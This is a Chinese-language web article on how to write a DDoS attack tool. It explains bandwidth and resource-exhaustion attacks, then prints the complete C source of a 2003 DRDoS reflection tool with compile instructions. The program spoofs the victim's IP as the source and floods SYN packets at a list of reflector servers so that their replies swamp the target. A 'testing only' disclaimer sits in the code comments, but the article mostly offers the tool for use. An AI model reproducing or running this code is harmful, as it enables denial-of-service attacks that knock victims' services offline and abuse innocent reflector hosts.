怎么編寫ddos攻擊器ddos攻擊器源碼
DDOS是(Distributed Denial of Service)的縮寫,即分布式阻斷服務,黑客利用DDOS攻擊器控制多臺機器同時攻擊來達到“妨礙正常使用者使用服務”的目的,這樣就形成了DDOS攻擊,隨著互聯網的不斷發展,競爭越來越激烈,各式各樣的DDOS攻擊器開始出現。就以2014年最新的閃電DDOS來說他的DNS攻擊模式可放大N倍進行反射攻擊。不少公司雇傭黑客團隊對自己的競爭對手進行DDOS攻擊。目前業界的各類攻擊產品很多,目前最強悍技術最領先的防火墻測試軟件就是DDOS攻擊器了。
在當今維護網絡安全的措施中,防火墻是應
用最普遍、提供最基本網絡防范功能的一種有效手段。針對威脅網絡安全的DDOS攻擊,DDOS防火墻扮演者重要的角色,其產品也是琳瑯滿目。隨著用戶對DDOS防火墻的質量要求越來越高,對DDOS防火墻產品的DDOS壓力測試的研究也隨即展開,壓力測試軟件的重要性能夠讓企業及時發現自己網絡環境的薄弱點,從而及時防范潛在的黑客攻擊,降低企業的損失。
攻擊種類
受害主機在 DDoS 攻擊下,明顯特征就是大量的不明數據報文流向受害主機,受害主機的網絡接入帶寬被耗盡,或者受害主機的系統資源(存儲資源和計算資源)被大量占用,甚至發生死機。前者可稱為帶寬消耗攻擊,后者稱為系統資源消耗攻擊。兩者可能單獨發生,也可能同時發生。
1 帶寬消耗攻擊
DDoS帶寬消耗攻擊主要為直接洪流攻擊。 直接洪流攻擊采取了簡單自然的攻擊方式,它利用了攻擊方的資源優勢,當大量代理發出的攻擊流匯聚于目標時,足以耗盡其 Internet 接入帶寬。通常用于發送的攻擊報文類型有:TCP報文(可含TCP SYN報文),UDP報文,ICMP報文,三者可以單獨使用,也可同時使用。
1.1 TCP洪流攻擊
在早期的DoS攻擊中,攻擊者只發送TCP SYN報文,以消耗目標的系統資源。而在 DDoS 攻擊中,由于攻擊者擁有更多的攻擊資源,所以攻擊者在大量發送TCP SYN報文的同時,還發送ACK, FIN, RST報文以及其他 TCP 普通數據報文,這稱為 TCP 洪流攻擊。該攻擊在消耗系統資源(主要由 SYN,RST 報文導致)的同時,還能擁塞受害者的網絡接入帶寬。由于TCP協議為TCP/IP協議中的基礎協議,是許多重要應用層服務(如WEB 服務,FTP 服務等)的基礎,所以TCP洪流攻擊能對服務器的服務性能造成致命的影響。據研究統計,大多數DDoS攻擊通過TCP洪流攻擊實現。
1.2UDP 洪流攻擊
用戶數據報協議(UDP)是一個無連接協議。當數據包經由UDP協議發送時,發送雙方無需通過三次握手建立連接, 接收方必須接收處理該數據包。因此大量的發往受害主機 UDP 報文能使網絡飽和。在一起UDP 洪流攻擊中,UDP 報文發往受害系統的隨機或指定端口。通常,UDP洪流攻擊設定成指向目標的隨機端口。這使得受害系統必須對流入數據進行分析以確定哪個應用服務請求了數據。如果受害系統在某個被攻擊端口沒有運行服務,它將用 ICMP 報文回應一個“目標端口不可達”消息。通常,攻擊中的DDoS工具會偽造攻擊包的源IP地址。這有助于隱藏代理的身份,同時能確保來自受害主機的回應消息不會返回到代理。UDP洪流攻擊同時也會擁塞受害主機周圍的網絡帶寬(視網絡構架和線路速度而定)。因此,有時連接到受害系統周邊網絡的主機也會遭遇網絡連接問題。
1.3 ICMP洪流攻擊
Internet 控制報文協議傳遞差錯報文及其它網絡管理消息,它被用于定位網絡設備,確定源到端的跳數或往返時間等。一個典型的運用就是 Ping 程序,其使用 ICMP_ECHO REQEST 報文,用戶可以向目標發送一個請求消息,并收到一個帶往返時間的回應消息。ICMP 洪流攻擊就是通過代理向受害主機發送大量ICMP_ECHO_ REQEST)報文。這些報文涌往目標并使其回應報文,兩者合起來的流量將使受害主機網絡帶寬飽和。與UDP洪流攻擊一樣,ICMP洪流攻擊通常也偽造源IP地址。
2 系統資源消耗攻擊
DDoS系統資源消耗攻擊包括惡意誤用 TCP/IP 協議通信和發送畸形報文兩種攻擊方式。兩者都能起到占用系統資源的效果。具體有以下幾種:
TCP SYN攻擊。DoS的主要攻擊方式,在DDoS攻擊中仍然是最常見的攻擊手段之一。只不過在 DDoS 方式下,它的攻擊強度得到了成百上千倍的增加。
TCP PSH+ACK 攻擊。在 TCP 協議中,到達目的地的報文將進入 TCP棧的緩沖區,直到緩沖區滿了,報文才被轉送給接收系統。此舉是為了使系統清空緩沖區的次數達到最小。然而,發送者可通過發送 PSH 標志為 1 的TCP 報文來起強制要求接受系統將緩沖區的內容清除。TCP PUSH+ACK 攻擊與 TCP SYN 攻擊一樣目的在于耗盡受害系統的資源。當代理向受害主機發送PSH和ACK標志設為1的TCP報文時, 這些報文將使接收系統清除所有 TCP 緩沖區的數據(不管緩沖區是滿的還是非滿),并回應一個確認消息。如果這個過程被大量代理重復,系統將無法處理大量的流入報文。 畸形報文攻擊。顧名思義,畸形報文攻擊指的是攻擊者指使代理向受害主機發送錯誤成型的IP報文以使其崩潰。有兩種畸形報文攻擊方式。一種是IP 地址攻擊,攻擊報文擁有相同的源 IP 和目的 IP 地址。它能迷惑受害主機的操作系統,并使其消耗大量的處理能力。另一個是IP報文可選段攻擊。攻擊報文隨機選取IP報文的可選段并將其所有的服務比特值設為1。對此,受害系統不得不花費額外的處理時間來分析數據包。當發動攻擊的代理足夠多時,受害系統將失去處理能力。
3 應用層攻擊
典型如國內流行的傳奇假人攻擊,這種攻擊利用傀儡機,模擬了傳奇服務器的數據流,能夠完成普通傳奇戲服務器的注冊、登陸等功能,使得服務器運行的傳奇游戲內出現大量的假人,影響了正常玩家的登陸和游戲,嚴重時完全無法登陸。
DDOS攻擊器原代碼
歷史上最強的DDOS工具---DRDOS源代碼(危害指數★★★★★)請大家謹慎使用!
用C++編寫的,用C++生成EXE文件即可
/**************************************************************************/
/* DRDoS - Distributed Reflection Denial of Service tool */
/* */
/* Copyright (C) 2003 KrystalEye.com */
/* */
/* This program is free software; you can redistribute it and/or modify */
/* it under the terms of the GNU General Public License as published by */
/* the Free Software Foundation; either version 2 of the License, or */
/* (at your option) any later version. */
/* */
/* This program is distributed in the hope that it will be useful, */
/* but WITHOUT ANY WARRANTY; without even the implied warranty of */
/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */
/* GNU General Public License for more details. */
/* */
/**************************************************************************/
/* Version - 1.0 */
/* */
/* Purpose - Demonstration of DRDoS attacks */
/* */
/* Author - Nguyen Minh Nhat 《ngmnhat@yahoo.com》 */
/* http://www.krystaleye.com/ */
/* */
/* Disclaimer - You must be ROOT to use RAW socket. */
/* This program is for educational purposes only and */
/* network testing ON YOUR OWN NETWORK! Do not use it */
/* for malicious purposes! */
/* I am in NO way responsible for what you do with this */
/* program, or any damage you or this program causes. */
/* */
/* For whom - People with a little knowledge of TCP/IP, C source code */
/* and general UNIX. Otherwise, please keep your hands off, */
/* and catch up on those things first. */
/* */
/* Compiling - gcc -o DRDoS DRDoS.c */
/* */
/* Usage - Usage is described in the welcome screen of this program when */
/* running it without arguments */
/**************************************************************************/
#include 《stdio.h》
#include 《stdlib.h》
#include 《unistd.h》
#include 《string.h》
#include 《sys/types.h》
#include 《sys/socket.h》
#include 《arpa/inet.h》
#include 《netinet/in.h》
#include 《netinet/ip.h》
#include 《netinet/tcp.h》
#include 《netdb.h》
#define IPHDRSIZE sizeof(struct iphdr)
#define TCPHDRSIZE sizeof(struct tcphdr)
#define PSEUDOHDRSIZE sizeof(struct pseudohdr)
struct pseudohdr
{
unsigned long saddr;
unsigned long daddr;
char useless;
unsigned char protocol;
unsigned short length;
};
struct forcksum
{
struct pseudohdr pseudo;
struct tcphdr tcp;
};
unsigned short in_cksum(unsigned short * addr,int len);
int main(int argc,char * argv[]);
int main(int argc,char * argv[])
{
int val;
char fname[1000];
FILE * list;
char * packet;
struct iphdr * ip;
struct tcphdr * tcp;
struct forcksum helpcksum;
int serverfd;
struct sockaddr_in server;
char saddr[100],daddr[100];
unsigned short a,b,c,d,sport,dport,tport;
if (argc != 3)
{
printf(“\nDistributed Reflection DoS tool - v1.0\n”);
printf(“Copyright (C) 2003 KrystalEye.com\n\n”);
printf(“Usage: %s 《list》 《target IP》\n\n”,argv[0]);
printf(“ -list : Path to Zombies (\”Reflection Servers\“) list file\n”);
printf(“ -target IP: IP address of target\n\n”);
printf(“*** Syntax of list file ***\n”);
printf(“ -Each line contains 1 zombie‘s information\n”);
printf(“ -Each zombie is described by 5 numbers:\n”);
printf(“ 4 octets of IP address (without ’。‘) and Port number\n”);
printf(“ -Numbers are seperated by at least 1 blank character (’ ‘)\n”);
printf(“Example: 203 162 56 78 80\n”);
printf(“ =》 IP: 203.162.56.78 || Port: 80\n\n”);
printf(“Email: ngmnhat@yahoo.com\n”);
printf(“Good luck! Thanks for using this tool!\n\n”);
exit(-1);
}
else
{
sprintf(fname,“%s”,argv[1]);
sprintf(saddr,“%s”,argv[2]);
sprintf(daddr,“%s”,argv[2]);
tport = random() % 10000;
sport = tport;
dport = tport;
}
if ((packet = (char *)malloc(IPHDRSIZE + TCPHDRSIZE)) == NULL)
{
printf(“Error: malloc()\n”);
exit(-1);
}
bzero(packet,sizeof(packet));
bzero(&helpcksum,sizeof(helpcksum));
ip = (struct iphdr *)packet;
tcp = (struct tcphdr *)(packet + IPHDRSIZE);
helpcksum.pseudo.saddr = inet_addr(saddr);
helpcksum.pseudo.daddr = inet_addr(daddr);
helpcksum.pseudo.useless = 0;
helpcksum.pseudo.protocol = IPPROTO_TCP;
helpcksum.pseudo.length = htons(TCPHDRSIZE);
tcp-》source = htons(sport);
tcp-》dest = htons(dport);
tcp-》seq = htonl(random());
tcp-》ack_seq = 0;
tcp-》doff = 5;
tcp-》fin = 0;
tcp-》syn = 1;
tcp-》rst = 0;
tcp-》psh = 0;
tcp-》ack = 0;
tcp-》window = htons(65535);
tcp-》urg_ptr = 0;
tcp-》check = 0;
helpcksum.tcp = *tcp;
tcp-》check = in_cksum((unsigned short *)&helpcksum,TCPHDRSIZE +
PSEUDOHDRSIZE);
ip-》ihl = 5;
ip-》version = 4;
ip-》tos = 0;
ip-》tot_len = IPHDRSIZE + TCPHDRSIZE;
ip-》id = random();
ip-》ttl = 255;
ip-》protocol = IPPROTO_TCP;
ip-》saddr = inet_addr(saddr);
ip-》daddr = inet_addr(daddr);
ip-》check = 0;
ip-》check = in_cksum((unsigned short *)ip,IPHDRSIZE);
if ((serverfd = socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) 《 0)
{
printf(“Error: socket()\n”);
exit(-1);
}
setsockopt(serverfd,IPPROTO_IP,IP_HDRINCL,&val,sizeof(int));
bzero(&server,sizeof(struct sockaddr));
server.sin_family = AF_INET;
if ((list = fopen(fname,“r”)) == NULL)
{
printf(“Error: cannot open file\n”);
exit(-1);
}
fscanf(list,“%hu”,&a);
if (feof(list))
{
printf(“Error: empty list\n”);
fclose(list);
exit(-1);
}
fclose(list);
printf(“\nAttacking %s.。。\n\n”,argv[2]);
printf(“Press 《Ctrl-C》 to Stop.\n”);
while (1)
{
list = fopen(fname,“r”);
while (!feof(list))
{
fscanf(list,“ %hu %hu %hu %hu %hu”,&a,&b,&c,&d,&tport);
sprintf(daddr,“%hu.%hu.%hu.%hu”,a,b,c,d);
helpcksum.pseudo.daddr = inet_addr(daddr);
ip-》daddr = inet_addr(daddr);
ip-》id = random();
ip-》check = 0;
dport = tport;
tcp-》source = htons(random() % 10000);
tcp-》dest = htons(dport);
tcp-》seq = htonl(random());
tcp-》check = 0;
helpcksum.tcp = *tcp;
tcp-》check = in_cksum((unsigned short *)&helpcksum,TCPHDRSIZE +
PSEUDOHDRSIZE);
ip-》check = in_cksum((unsigned short *)ip,IPHDRSIZE);
server.sin_addr.s_addr = inet_addr(daddr);
server.sin_port = htons(dport);
sendto(serverfd,packet,ip-》tot_len,0,(struct sockaddr *)&server,sizeof
(struct sockaddr));
usleep(100);
}
fclose(list);
}
close(serverfd);
return 0;
}
unsigned short in_cksum(unsigned short * addr,int len)
{
register int sum = 0;
u_short answer = 0;
register u_short * w = addr;
register int nleft = len;
while (nleft 》 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *)(&answer) = *(u_char *)w;
sum += answer;
}
sum = (sum 》》 16) + (sum & 0xffff);
sum += (sum 》》 16);
answer = ~sum;
return answer;
}
非常好我支持^.^
(6302) 97.9%
不好我反對
(137) 2.1%
相關閱讀:
- [電子說] 中國統一威脅管理硬件技術評估報告顯示:華為防火墻唯一8大維度五星評價, 2023-10-24
- [汽車電子] 如何保護自動駕駛系統的數據安全? 2023-10-18
- [安全設備/系統] 汽車網絡安全機制關鍵技術 2023-10-18
- [電子說] server2019服務器搭建的方法步驟 2023-10-18
- [電子說] 不用Nginx,只用Tomcat的Http請求流程 2023-10-17
- [嵌入式技術] Linux系統firewalld防火墻實戰指南 2023-10-16
- [電子說] Web應用防火墻的性能優化技術 2023-10-14
- [電子說] 如何利用Web應用防火墻應對未知威脅 2023-10-14
( 發表人:姚遠香 )